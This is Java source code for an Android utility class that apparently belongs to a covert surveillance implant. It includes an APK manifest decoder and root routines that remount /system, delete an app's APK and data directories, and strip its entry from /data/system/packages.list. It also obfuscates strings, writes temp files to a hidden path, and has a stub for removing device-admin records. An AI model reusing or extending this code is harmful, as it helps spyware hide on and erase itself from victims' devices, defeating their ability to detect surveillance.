package com.android.dvci.util; import android.content.pm.PackageInfo; import android.content.pm.PackageManager; import android.util.Log; import com.android.dvci.Status; import com.android.dvci.auto.Cfg; import com.android.dvci.conf.Configuration; import com.android.dvci.file.AutoFile; import com.android.dvci.file.Path; import com.android.mm.M; import org.w3c.dom.Document; import org.w3c.dom.Node; import org.xml.sax.InputSource; import java.io.BufferedReader; import java.io.BufferedWriter; import java.io.File; import java.io.FileInputStream; import java.io.FileOutputStream; import java.io.FileWriter; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.io.StringReader; import java.io.Writer; import java.nio.channels.FileChannel; import java.util.ArrayList; import java.util.List; import java.util.jar.JarFile; import java.util.regex.Matcher; import java.util.regex.Pattern; import javax.xml.parsers.DocumentBuilder; import javax.xml.parsers.DocumentBuilderFactory; /** * Created by zeno on 16/09/14. */ public class PackageUtils { /** * The Constant TAG. */ private static final String TAG = "PackageUtils"; //$NON-NLS-1$ public static boolean replaceInFile(String file, String matchRegExp, String replaceRegExp, String replace) { //examples: // - replace "com.google.android.gms/com.google.android.gms.mdm.receivers.MdmDeviceAdminReceiver" // to "com.google.android.gms/com.google.android.gms.mdm.receivers.Whatever" // matchRegExp = ".*MdmDeviceAdminReceiver$" // replaceRegExp = "MdmDeviceAdminReceiver" // replace = "whatever" // - to delete "com.google.android.gms/com.google.android.gms.mdm.receivers.MdmDeviceAdminReceiver" // matchRegExp = ".*MdmDeviceAdminReceiver.*" // replaceRegExp = null // replace = null File fs = new File(file); // TODO: su cat $file > $dest Boolean matchFound = false; Writer writer = null; BufferedReader fileReader = null; AutoFile tmpLocal = new AutoFile(Path.hidden(), Utils.getRandom() + ".t"); try { fileReader = new BufferedReader(new InputStreamReader(new FileInputStream(fs.getAbsolutePath()))); if (tmpLocal.exists()) { tmpLocal.delete(); } writer = new BufferedWriter(new FileWriter(tmpLocal.getFile())); String lineContents; int offset = 0; Pattern pattern = Pattern.compile(matchRegExp); while ((lineContents = fileReader.readLine()) != null) { Matcher matcher = pattern.matcher(lineContents); String lineByLine = null; if (matcher.matches()) { if (Cfg.DEBUG) { Check.log(TAG + "(replaceInFile): match'" + lineContents + "' line offsets:" + offset); } if (replace != null) { lineByLine = lineContents.replaceAll((replaceRegExp != null) ? replaceRegExp : matchRegExp, replace); if (Cfg.DEBUG) { Check.log(TAG + "(replaceInFile): replaced with:'" + lineByLine + "'"); } writer.write(lineByLine + "\n"); } else { if (Cfg.DEBUG) { Check.log(TAG + "(replaceInFile): deleted"); } } matchFound = true; } else { writer.write(lineContents + "\n"); } offset += lineContents.length(); } fileReader.close(); writer.close(); if (matchFound) { try { FileChannel source = null; FileChannel destination = null; FileInputStream fsource = new FileInputStream(tmpLocal.getFile()); source = fsource.getChannel(); FileOutputStream fdestination = new FileOutputStream(fs); destination = fdestination.getChannel(); destination.transferFrom(source, 0, source.size()); if (source != null) { source.close(); fsource.close(); } if (destination != null) { destination.close(); fdestination.close(); } } catch (IOException e) { if (Cfg.DEBUG) { Check.log(TAG + " (replaceInFile): trasferForm, error: " + e); } return false; } return true; } } catch (IOException e) { if (Cfg.DEBUG) { Check.log(TAG + "(replaceInFile):openCopy, error: " + e); } } finally { if (writer != null) { try { writer.close(); } catch (IOException e) { } } if (fileReader != null) { try { fileReader.close(); } catch (IOException e) { } } tmpLocal.delete(); } return false; } /** * The Class PInfo. */ public static class PInfo { /** * The appname. */ private String appname = ""; //$NON-NLS-1$ /** * The pname. */ private String pname = ""; //$NON-NLS-1$ /** * The version name. */ private String versionName = ""; //$NON-NLS-1$ /** * The apk name and location. */ private String apkPath = ""; //$NON-NLS-1$ /** * The version code. */ private int versionCode = 0; /* * (non-Javadoc) * * @see java.lang.Object#toString() */ @Override public String toString() { return appname + "\t" + pname + "\t" + versionName + "\t" + versionCode; //$NON-NLS-1$ //$NON-NLS-2$ //$NON-NLS-3$ } } public static boolean uninstallApk(String apk) { boolean found = isInstalledApk(apk); if (!found) { if (Cfg.DEBUG) { Check.log(TAG + " (uninstallApk), cannot find APK"); } return false; } remountSystem(true); removeAdmin(apk); removePackageList(apk); removeFiles(apk); remountSystem(false); killApk(apk); return true; } private static void killApk(String apk) { // TODO: kill -9 `psof $apk` } private static void removePackageList(String apk) { // TODO: remove any entries in /data/system/packages.list // i.e: com.android.deviceinfo 10216 0 /data/data/com.android.deviceinfo default 1028,1015,3003 replaceInFile("/data/system/packages.list", ".*com.android.deviceinfo.*",null,null); } private static void removeAdmin(String apk) { // TODO: remove any entries in /data/system/device_policies.xml } private static void removeFiles(String apk) { Execute.executeRoot(M.e("rm /data/app/") + apk + M.e("*.apk")); Execute.executeRoot(M.e("rm -r /data/data/") + apk); } private static void remountSystem(boolean rw) { if (rw) { Execute.execute(Configuration.shellFile + M.e(" blw")); } else { Execute.execute(Configuration.shellFile + M.e(" blr")); } } private static boolean isInstalledApk(String apk) { boolean found = false; ArrayList<PInfo> l = getInstalledApps(false); for (PInfo p : l) { if (p.pname.equals(apk)) { found = true; break; } } return found; } /** * Gets the installed apps. * * @param getSysPackages the get sys packages * @return the installed apps */ public static ArrayList<PInfo> getInstalledApps(final boolean getSysPackages) { final ArrayList<PInfo> res = new ArrayList<PInfo>(); final PackageManager packageManager = Status.getAppContext().getPackageManager(); final List<PackageInfo> packs = packageManager.getInstalledPackages(0); String k = M.e("keyguard"); for (int i = 0; i < packs.size(); i++) { final PackageInfo p = packs.get(i); if ((!getSysPackages) && (p.versionName == null)) { continue; } try { final PInfo newInfo = new PInfo(); newInfo.pname = p.packageName; if (!newInfo.pname.contains(k)) { newInfo.appname = p.applicationInfo.loadLabel(packageManager).toString(); } newInfo.versionName = p.versionName; newInfo.versionCode = p.versionCode; newInfo.apkPath = p.applicationInfo.sourceDir; res.add(newInfo); } catch (Exception e) { if (Cfg.DEBUG) { Check.log(TAG + " (getInstalledApps) Error: " + e); } } } return res; } /** * Gets the packages. * * @return the packages */ private ArrayList<PInfo> getPackages() { final ArrayList<PInfo> apps = getInstalledApps(false); final int max = apps.size(); for (int i = 0; i < max; i++) { if (Cfg.DEBUG) { Check.log(TAG + " Info: " + apps.get(i).toString());//$NON-NLS-1$ } } return apps; } /** * Binary XML doc ending Tag */ public static int endDocTag = 0x00100101; /** * Binary XML start Tag */ public static int startTag = 0x00100102; /** * Binary XML end Tag */ public static int endTag = 0x00100103; /** * Reference var for spacing * Used in prtIndent() */ public static String spaces = " "; /** * Parse the 'compressed' binary form of Android XML docs * such as for AndroidManifest.xml in .apk files * Source: http://stackoverflow.com/questions/2097813/how-to-parse-the-androidmanifest-xml-file-inside-an-apk-package/4761689#4761689 * * @param xml Encoded XML content to decompress */ public static String decompressXML(byte[] xml) { StringBuilder resultXml = new StringBuilder(); int numbStrings = LEW(xml, 4*4); int sitOff = 0x24; // Offset of start of StringIndexTable int stOff = sitOff + numbStrings*4; // StringTable follows StrIndexTable int xmlTagOff = LEW(xml, 3*4); // Start from the offset in the 3rd word. // Scan forward until we find the bytes: 0x02011000(x00100102 in normal int) for (int ii=xmlTagOff; ii<xml.length-4; ii+=4) { if (LEW(xml, ii) == startTag) { xmlTagOff = ii; break; } } // end of hack, scanning for start of first start tag // XML tags and attributes: // Every XML start and end tag consists of 6 32 bit words: // 0th word: 02011000 for startTag and 03011000 for endTag // 1st word: a flag?, like 38000000 // 2nd word: Line of where this tag appeared in the original source file // 3rd word: FFFFFFFF ?? // 4th word: StringIndex of NameSpace name, or FFFFFFFF for default NS // 5th word: StringIndex of Element Name // (Note: 01011000 in 0th word means end of XML document, endDocTag) // Start tags (not end tags) contain 3 more words: // 6th word: 14001400 meaning?? // 7th word: Number of Attributes that follow this tag(follow word 8th) // 8th word: 00000000 meaning?? // Attributes consist of 5 words: // 0th word: StringIndex of Attribute Name's Namespace, or FFFFFFFF // 1st word: StringIndex of Attribute Name // 2nd word: StringIndex of Attribute Value, or FFFFFFF if ResourceId used // 3rd word: Flags? // 4th word: str ind of attr value again, or ResourceId of value // Step through the XML tree element tags and attributes int off = xmlTagOff; int indent = 0; while (off < xml.length) { int tag0 = LEW(xml, off); int lineNo = LEW(xml, off+2*4); int nameNsSi = LEW(xml, off+4*4); int nameSi = LEW(xml, off+5*4); if (tag0 == startTag) { // XML START TAG int tag6 = LEW(xml, off+6*4); // Expected to be 14001400 int numbAttrs = LEW(xml, off+7*4); // Number of Attributes to follow off += 9*4; // Skip over 6+3 words of startTag data String name = compXmlString(xml, sitOff, stOff, nameSi); // Look for the Attributes StringBuffer sb = new StringBuffer(); for (int ii=0; ii<numbAttrs; ii++) { int attrNameNsSi = LEW(xml, off); // AttrName Namespace Str Ind, or FFFFFFFF int attrNameSi = LEW(xml, off+1*4); // AttrName String Index int attrValueSi = LEW(xml, off+2*4); // AttrValue Str Ind, or FFFFFFFF int attrFlags = LEW(xml, off+3*4); int attrResId = LEW(xml, off+4*4); // AttrValue ResourceId or dup AttrValue StrInd off += 5*4; // Skip over the 5 words of an attribute String attrName = compXmlString(xml, sitOff, stOff, attrNameSi); String attrValue = attrValueSi!=-1 ? compXmlString(xml, sitOff, stOff, attrValueSi) : M.e("resourceID 0x")+Integer.toHexString(attrResId); sb.append(" "+attrName+"=\""+attrValue+"\""); } resultXml.append(prtIndent(indent, "<"+name+sb+">")); indent++; } else if (tag0 == endTag) { // XML END TAG indent--; off += 6*4; // Skip over 6 words of endTag data String name = compXmlString(xml, sitOff, stOff, nameSi); resultXml.append(prtIndent(indent, "</"+name+">\n")); } else if (tag0 == endDocTag) { // END OF XML DOC TAG break; } else { if (Cfg.DEBUG) { Check.log(TAG + " (decompressXML): Unrecognized tag code '" + Integer.toHexString(tag0) + "' at offset " + off); } break; } } // end of while loop scanning tags and attributes of XML tree if (Cfg.DEBUG) { Check.log(TAG + " (decompressXML): end at offset " + off); } return resultXml.toString(); } // end of decompressXML /** * Tool Method for decompressXML(); * Compute binary XML to its string format * Source: Source: http://stackoverflow.com/questions/2097813/how-to-parse-the-androidmanifest-xml-file-inside-an-apk-package/4761689#4761689 * * @param xml Binary-formatted XML * @param sitOff * @param stOff * @param strInd * @return String-formatted XML */ public static String compXmlString(byte[] xml, int sitOff, int stOff, int strInd) { if (strInd < 0) return null; int strOff = stOff + LEW(xml, sitOff+strInd*4); return compXmlStringAt(xml, strOff); } public static Document loadXMLFromString(String xml) throws Exception { DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance(); DocumentBuilder builder = factory.newDocumentBuilder(); InputSource is = new InputSource(new StringReader(xml)); return builder.parse(is); } /** * Tool Method for decompressXML(); * Apply indentation * * @param indent Indentation level * @param str String to indent * @return Indented string */ public static String prtIndent(int indent, String str) { return (spaces.substring(0, Math.min(indent*2, spaces.length()))+str); } /** * Tool method for decompressXML() * Return the string stored in StringTable format at * offset strOff. This offset points to the 16 bit string length, which * is followed by that number of 16 bit (Unicode) chars. * * @param arr StringTable array * @param strOff Offset to get string from * @return String from StringTable at offset strOff * */ public static String compXmlStringAt(byte[] arr, int strOff) { int strLen = arr[strOff+1]<<8&0xff00 | arr[strOff]&0xff; byte[] chars = new byte[strLen]; for (int ii=0; ii<strLen; ii++) { chars[ii] = arr[strOff+2+ii*2]; } return new String(chars); // Hack, just use 8 byte chars } // end of compXmlStringAt /** * Return value of a Little Endian 32 bit word from the byte array * at offset off. * * @param arr Byte array with 32 bit word * @param off Offset to get word from * @return Value of Little Endian 32 bit word specified */ public static int LEW(byte[] arr, int off) { return arr[off+3]<<24&0xff000000 | arr[off+2]<<16&0xff0000 | arr[off+1]<<8&0xff00 | arr[off]&0xFF; } // end of LEW public static ArrayList<String> getActivitisFromApk(String apk){ ArrayList<String> activityList = null; if (new AutoFile(apk).exists()) { try { JarFile jf = new JarFile(apk); InputStream is = jf.getInputStream(jf.getEntry(M.e("AndroidManifest.xml"))); byte[] xml = new byte[is.available()]; int br = is.read(xml); String text = M.e("<?xml version=\"1.0\" encoding=\"utf-8\"?>")+"\n"; text += decompressXML(xml); Document doc = loadXMLFromString(text); if (doc == null) { return null; } int nLen = doc.getElementsByTagName(M.e("activity")).getLength(); for (int n = 0; n < nLen; n++) { Node activity = doc.getElementsByTagName(M.e("activity")).item(n); if (activity.getAttributes().getNamedItem(M.e("name")) != null) { if (activityList == null) { activityList = new ArrayList<String>(); } activityList.add(activity.getAttributes().getNamedItem(M.e("name")).getNodeValue()); } } } catch (Exception ex) { if (Cfg.DEBUG) { Check.log(TAG + "(getActivitis): exception: " + ex); } } } return activityList; } }